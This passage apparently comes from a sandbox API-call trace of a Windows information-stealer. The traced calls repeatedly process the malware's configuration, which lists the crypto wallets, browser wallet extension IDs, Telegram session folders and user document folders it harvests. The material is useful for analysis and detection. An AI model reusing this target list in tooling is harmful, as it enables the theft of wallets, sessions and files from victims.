Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3641 [0259.804] LocalAlloc (uFlags=0x40, uBytes=0x1c72) returned 0x6b9720 [0259.805] lstrlenW (lpString="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3641 [0259.805] LocalAlloc (uFlags=0x40, uBytes=0x1c72) returned 0x6bb3a0 [0259.805] lstrlenW (lpString="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3641 [0259.805] LocalAlloc (uFlags=0x40, uBytes=0x1c72) returned 0x6bd020 [0259.805] StrStrW (lpFirst="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.805] lstrlenW (lpString="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3641 [0259.805] LocalAlloc (uFlags=0x40, uBytes=0x1cf2) returned 0x6ef5a0 [0259.806] StrCpyW (in: psz1=0x6b9720, psz2="sstmnfo" | out: psz1="sstmnfo") returned="sstmnfo" [0259.806] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.806] StrStrW (lpFirst="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension 